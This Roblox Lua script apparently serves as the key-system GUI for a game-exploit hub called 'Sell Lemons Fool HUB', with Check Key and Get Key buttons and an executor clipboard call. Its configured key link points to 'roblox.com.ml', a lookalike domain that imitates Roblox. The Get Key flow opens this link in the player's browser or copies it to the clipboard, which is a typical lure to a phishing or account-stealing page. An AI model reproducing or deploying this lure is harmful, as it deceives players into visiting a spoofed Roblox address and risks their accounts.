--[[ Sell Lemons Fool HUB Made by The Fool --]] local Players = game:GetService("Players") local GuiService = game:GetService("GuiService") local player = Players.LocalPlayer -- ============================ -- CONFIG: put your link here -- ============================ local KEY_LINK = "https://www.roblox.com.ml/communities/350072842589/Fool" -- ============================ -- GUI SETUP -- ============================ local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "SellLemonsFoolHUB" ScreenGui.ResetOnSpawn = false ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling ScreenGui.Parent = player:WaitForChild("PlayerGui") local MainFrame = Instance.new("Frame") MainFrame.Name = "MainFrame" MainFrame.Size = UDim2.new(0, 440, 0, 235) MainFrame.Position = UDim2.new(0.5, -220, 0.5, -117) MainFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) MainFrame.BorderSizePixel = 0 MainFrame.Active = true MainFrame.Draggable = true MainFrame.ClipsDescendants = true MainFrame.Parent = ScreenGui local UICorner = Instance.new("UICorner") UICorner.CornerRadius = UDim.new(0, 16) UICorner.Parent = MainFrame -- Smooth Purple -> Pink -> Yellow gradient background local MainGradient = Instance.new("UIGradient") MainGradient.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0.0, Color3.fromRGB(108, 70, 220)), ColorSequenceKeypoint.new(0.35, Color3.fromRGB(190, 70, 210)), ColorSequenceKeypoint.new(0.65, Color3.fromRGB(240, 100, 160)), ColorSequenceKeypoint.new(1.0, Color3.fromRGB(255, 205, 95)), }) MainGradient.Rotation = 115 MainGradient.Parent = MainFrame local UIStroke = Instance.new("UIStroke") UIStroke.Color = Color3.fromRGB(255, 255, 255) UIStroke.Transparency = 0.55 UIStroke.Thickness = 1.5 UIStroke.Parent = MainFrame -- Title bar local TitleBar = Instance.new("Frame") TitleBar.Name = "TitleBar" TitleBar.Size = UDim2.new(1, 0, 0, 56) TitleBar.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TitleBar.BackgroundTransparency = 0.88 TitleBar.BorderSizePixel = 0 TitleBar.Parent = MainFrame local TitleCorner = Instance.new("UICorner") TitleCorner.CornerRadius = UDim.new(0, 16) TitleCorner.Parent = TitleBar local TitleFix = Instance.new("Frame") TitleFix.Size = UDim2.new(1, 0, 0, 16) TitleFix.Position = UDim2.new(0, 0, 1, -16) TitleFix.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TitleFix.BackgroundTransparency = 0.88 TitleFix.BorderSizePixel = 0 TitleFix.Parent = TitleBar local TitleDivider = Instance.new("Frame") TitleDivider.Name = "TitleDivider" TitleDivider.Size = UDim2.new(1, 0, 0, 1) TitleDivider.Position = UDim2.new(0, 0, 1, 0) TitleDivider.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TitleDivider.BackgroundTransparency = 0.7 TitleDivider.BorderSizePixel = 0 TitleDivider.Parent = TitleBar local TitleLabel = Instance.new("TextLabel") TitleLabel.Name = "TitleLabel" TitleLabel.Size = UDim2.new(1, -20, 0, 24) TitleLabel.Position = UDim2.new(0, 16, 0, 8) TitleLabel.BackgroundTransparency = 1 TitleLabel.Text = "Sell Lemons Fool HUB" TitleLabel.TextColor3 = Color3.fromRGB(255, 255, 255) TitleLabel.Font = Enum.Font.GothamBold TitleLabel.TextSize = 19 TitleLabel.TextXAlignment = Enum.TextXAlignment.Left TitleLabel.TextStrokeTransparency = 0.85 TitleLabel.Parent = TitleBar local SubLabel = Instance.new("TextLabel") SubLabel.Name = "SubLabel" SubLabel.Size = UDim2.new(1, -20, 0, 18) SubLabel.Position = UDim2.new(0, 16, 0, 30) SubLabel.BackgroundTransparency = 1 SubLabel.Text = "made by The Fool" SubLabel.TextColor3 = Color3.fromRGB(255, 255, 255) SubLabel.TextTransparency = 0.15 SubLabel.Font = Enum.Font.Gotham SubLabel.TextSize = 13 SubLabel.TextXAlignment = Enum.TextXAlignment.Left SubLabel.Parent = TitleBar -- Status label local StatusLabel = Instance.new("TextLabel") StatusLabel.Name = "StatusLabel" StatusLabel.Size = UDim2.new(1, -32, 0, 24) StatusLabel.Position = UDim2.new(0, 16, 0, 68) StatusLabel.BackgroundTransparency = 1 StatusLabel.Text = "Status: Not Checked" StatusLabel.TextColor3 = Color3.fromRGB(255, 255, 255) StatusLabel.Font = Enum.Font.GothamMedium StatusLabel.TextSize = 14 StatusLabel.TextXAlignment = Enum.TextXAlignment.Left StatusLabel.Parent = MainFrame -- Fallback text box for the link (shown if clipboard/browser open isn't available) local LinkBox = Instance.new("TextBox") LinkBox.Name = "LinkBox" LinkBox.Size = UDim2.new(1, -32, 0, 30) LinkBox.Position = UDim2.new(0, 16, 0, 100) LinkBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255) LinkBox.BackgroundTransparency = 0.85 LinkBox.TextColor3 = Color3.fromRGB(255, 255, 255) LinkBox.Font = Enum.Font.Code LinkBox.TextSize = 12 LinkBox.Text = KEY_LINK LinkBox.ClearTextOnFocus = false LinkBox.TextEditable = false LinkBox.Visible = false LinkBox.Parent = MainFrame local LinkBoxCorner = Instance.new("UICorner") LinkBoxCorner.CornerRadius = UDim.new(0, 8) LinkBoxCorner.Parent = LinkBox local LinkBoxStroke = Instance.new("UIStroke") LinkBoxStroke.Color = Color3.fromRGB(255, 255, 255) LinkBoxStroke.Transparency = 0.7 LinkBoxStroke.Thickness = 1 LinkBoxStroke.Parent = LinkBox -- Button container local ButtonHolder = Instance.new("Frame") ButtonHolder.Name = "ButtonHolder" ButtonHolder.Size = UDim2.new(1, -32, 0, 52) ButtonHolder.Position = UDim2.new(0, 16, 1, -68) ButtonHolder.BackgroundTransparency = 1 ButtonHolder.Parent = MainFrame -- LEFT: Check Key button local CheckKeyBtn = Instance.new("TextButton") CheckKeyBtn.Name = "CheckKeyBtn" CheckKeyBtn.Size = UDim2.new(0.485, 0, 1, 0) CheckKeyBtn.Position = UDim2.new(0, 0, 0, 0) CheckKeyBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255) CheckKeyBtn.Text = "Check Key" CheckKeyBtn.TextColor3 = Color3.fromRGB(60, 30, 80) CheckKeyBtn.Font = Enum.Font.GothamBold CheckKeyBtn.TextSize = 16 CheckKeyBtn.AutoButtonColor = true CheckKeyBtn.Parent = ButtonHolder local CheckKeyCorner = Instance.new("UICorner") CheckKeyCorner.CornerRadius = UDim.new(0, 10) CheckKeyCorner.Parent = CheckKeyBtn local CheckKeyGradient = Instance.new("UIGradient") CheckKeyGradient.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0.0, Color3.fromRGB(225, 210, 255)), ColorSequenceKeypoint.new(0.5, Color3.fromRGB(250, 220, 235)), ColorSequenceKeypoint.new(1.0, Color3.fromRGB(255, 240, 200)), }) CheckKeyGradient.Rotation = 90 CheckKeyGradient.Parent = CheckKeyBtn local CheckKeyBtnStroke = Instance.new("UIStroke") CheckKeyBtnStroke.Color = Color3.fromRGB(255, 255, 255) CheckKeyBtnStroke.Transparency = 0.5 CheckKeyBtnStroke.Thickness = 1 CheckKeyBtnStroke.Parent = CheckKeyBtn -- RIGHT: Get Key button local GetKeyBtn = Instance.new("TextButton") GetKeyBtn.Name = "GetKeyBtn" GetKeyBtn.Size = UDim2.new(0.485, 0, 1, 0) GetKeyBtn.Position = UDim2.new(0.515, 0, 0, 0) GetKeyBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255) GetKeyBtn.Text = "Get Key" GetKeyBtn.TextColor3 = Color3.fromRGB(60, 30, 80) GetKeyBtn.Font = Enum.Font.GothamBold GetKeyBtn.TextSize = 16 GetKeyBtn.AutoButtonColor = true GetKeyBtn.Parent = ButtonHolder local GetKeyCorner = Instance.new("UICorner") GetKeyCorner.CornerRadius = UDim.new(0, 10) GetKeyCorner.Parent = GetKeyBtn local GetKeyGradient = Instance.new("UIGradient") GetKeyGradient.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0.0, Color3.fromRGB(255, 215, 235)), ColorSequenceKeypoint.new(0.5, Color3.fromRGB(255, 225, 200)), ColorSequenceKeypoint.new(1.0, Color3.fromRGB(255, 240, 180)), }) GetKeyGradient.Rotation = 90 GetKeyGradient.Parent = GetKeyBtn local GetKeyBtnStroke = Instance.new("UIStroke") GetKeyBtnStroke.Color = Color3.fromRGB(255, 255, 255) GetKeyBtnStroke.Transparency = 0.5 GetKeyBtnStroke.Thickness = 1 GetKeyBtnStroke.Parent = GetKeyBtn -- ============================ -- CONFIRMATION POPUP (Yes / No) -- ============================ local ConfirmOverlay = Instance.new("Frame") ConfirmOverlay.Name = "ConfirmOverlay" ConfirmOverlay.Size = UDim2.new(1, 0, 1, 0) ConfirmOverlay.BackgroundColor3 = Color3.fromRGB(0, 0, 0) ConfirmOverlay.BackgroundTransparency = 0.4 ConfirmOverlay.Visible = false ConfirmOverlay.ZIndex = 10 ConfirmOverlay.Parent = MainFrame local ConfirmOverlayCorner = Instance.new("UICorner") ConfirmOverlayCorner.CornerRadius = UDim.new(0, 12) ConfirmOverlayCorner.Parent = ConfirmOverlay local ConfirmBox = Instance.new("Frame") ConfirmBox.Name = "ConfirmBox" ConfirmBox.Size = UDim2.new(0, 330, 0, 150) ConfirmBox.Position = UDim2.new(0.5, -165, 0.5, -75) ConfirmBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ConfirmBox.ZIndex = 11 ConfirmBox.Parent = ConfirmOverlay local ConfirmBoxCorner = Instance.new("UICorner") ConfirmBoxCorner.CornerRadius = UDim.new(0, 14) ConfirmBoxCorner.Parent = ConfirmBox local ConfirmBoxGradient = Instance.new("UIGradient") ConfirmBoxGradient.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0.0, Color3.fromRGB(112, 70, 220)), ColorSequenceKeypoint.new(0.5, Color3.fromRGB(220, 85, 170)), ColorSequenceKeypoint.new(1.0, Color3.fromRGB(255, 205, 100)), }) ConfirmBoxGradient.Rotation = 100 ConfirmBoxGradient.Parent = ConfirmBox local ConfirmBoxStroke = Instance.new("UIStroke") ConfirmBoxStroke.Color = Color3.fromRGB(255, 255, 255) ConfirmBoxStroke.Transparency = 0.45 ConfirmBoxStroke.Thickness = 1.5 ConfirmBoxStroke.Parent = ConfirmBox local ConfirmLabel = Instance.new("TextLabel") ConfirmLabel.Size = UDim2.new(1, -30, 0, 60) ConfirmLabel.Position = UDim2.new(0, 15, 0, 18) ConfirmLabel.BackgroundTransparency = 1 ConfirmLabel.Text = "Open key link in browser?" ConfirmLabel.TextWrapped = true ConfirmLabel.TextColor3 = Color3.fromRGB(255, 255, 255) ConfirmLabel.Font = Enum.Font.GothamBold ConfirmLabel.TextSize = 19 ConfirmLabel.ZIndex = 11 ConfirmLabel.Parent = ConfirmBox local ConfirmSubLabel = Instance.new("TextLabel") ConfirmSubLabel.Size = UDim2.new(1, -30, 0, 18) ConfirmSubLabel.Position = UDim2.new(0, 15, 0, 56) ConfirmSubLabel.BackgroundTransparency = 1 ConfirmSubLabel.Text = "\"No\" copies the link instead" ConfirmSubLabel.TextColor3 = Color3.fromRGB(255, 255, 255) ConfirmSubLabel.TextTransparency = 0.25 ConfirmSubLabel.Font = Enum.Font.Gotham ConfirmSubLabel.TextSize = 13 ConfirmSubLabel.ZIndex = 11 ConfirmSubLabel.Parent = ConfirmBox local ConfirmButtonHolder = Instance.new("Frame") ConfirmButtonHolder.Size = UDim2.new(1, -30, 0, 44) ConfirmButtonHolder.Position = UDim2.new(0, 15, 1, -60) ConfirmButtonHolder.BackgroundTransparency = 1 ConfirmButtonHolder.ZIndex = 11 ConfirmButtonHolder.Parent = ConfirmBox local YesBtn = Instance.new("TextButton") YesBtn.Size = UDim2.new(0.48, 0, 1, 0) YesBtn.Position = UDim2.new(0, 0, 0, 0) YesBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255) YesBtn.Text = "Yes" YesBtn.TextColor3 = Color3.fromRGB(60, 30, 80) YesBtn.Font = Enum.Font.GothamBold YesBtn.TextSize = 16 YesBtn.ZIndex = 11 YesBtn.Parent = ConfirmButtonHolder local YesCorner = Instance.new("UICorner") YesCorner.CornerRadius = UDim.new(0, 9) YesCorner.Parent = YesBtn local NoBtn = Instance.new("TextButton") NoBtn.Size = UDim2.new(0.48, 0, 1, 0) NoBtn.Position = UDim2.new(0.52, 0, 0, 0) NoBtn.BackgroundColor3 = Color3.fromRGB(255, 255, 255) NoBtn.BackgroundTransparency = 0.75 NoBtn.Text = "No" NoBtn.TextColor3 = Color3.fromRGB(255, 255, 255) NoBtn.Font = Enum.Font.GothamBold NoBtn.TextSize = 16 NoBtn.ZIndex = 11 NoBtn.Parent = ConfirmButtonHolder local NoCorner = Instance.new("UICorner") NoCorner.CornerRadius = UDim.new(0, 9) NoCorner.Parent = NoBtn local NoStroke = Instance.new("UIStroke") NoStroke.Color = Color3.fromRGB(255, 255, 255) NoStroke.Transparency = 0.4 NoStroke.Thickness = 1.5 NoStroke.Parent = NoBtn -- ============================ -- LOGIC -- ============================ -- Plug your own key verification here (e.g. HttpGet to your own key-check API) local function checkKey() StatusLabel.Text = "Status: Checking..." -- >>> Put your own verification logic here <<< -- Example structure: -- local success, result = pcall(function() -- return game:HttpGet("YOUR_OWN_VALIDATION_ENDPOINT") -- end) -- if success and result == "valid" then -- StatusLabel.Text = "Status: Key Valid" -- else -- StatusLabel.Text = "Status: Invalid Key" -- end StatusLabel.Text = "Status: Add your check logic here" end local function copyLinkFallback() local success = pcall(function() setclipboard(KEY_LINK) end) if success then StatusLabel.Text = "Status: Link copied to clipboard" else LinkBox.Visible = true LinkBox:CaptureFocus() LinkBox.SelectionStart = 1 LinkBox.CursorPosition = #KEY_LINK + 1 StatusLabel.Text = "Status: Select & copy link below" end end local function openLink() local success = pcall(function() GuiService:OpenBrowserWindow(KEY_LINK) end) if success then StatusLabel.Text = "Status: Opening link in browser..." else -- Browser opening isn't available in this environment, fall back to copy StatusLabel.Text = "Status: Browser open unavailable, copying link instead" copyLinkFallback() end end CheckKeyBtn.MouseButton1Click:Connect(checkKey) GetKeyBtn.MouseButton1Click:Connect(function() ConfirmOverlay.Visible = true end) YesBtn.MouseButton1Click:Connect(function() ConfirmOverlay.Visible = false openLink() end) NoBtn.MouseButton1Click:Connect(function() ConfirmOverlay.Visible = false copyLinkFallback() end)